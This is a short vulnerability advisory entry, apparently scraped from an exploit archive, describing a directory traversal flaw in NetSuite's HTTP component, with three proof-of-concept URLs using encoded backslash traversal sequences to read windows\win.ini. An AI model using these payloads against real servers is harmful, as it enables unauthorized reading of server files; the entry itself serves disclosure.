9 lines
No EOL
516 B
Text
9 lines
No EOL
516 B
Text
source: https://www.securityfocus.com/bid/8197/info
|
|
|
|
The HTTP component of NetSuite has been reported prone to a directory traversal vulnerability.
|
|
|
|
Various combinations of encoded directory traversal sequences may be used to break out of the web root directory. Attackers may gain access to files that are readable by the web server as a result.
|
|
|
|
http://www.example.com/%5c..%5c..%5c..%5cwindows%5cwin.ini
|
|
http://www.example.com/%5c..%5c..%5c..%5cwindows%5cwin%2eini
|
|
http://www.example.com/\..\..\..\windows\win.ini |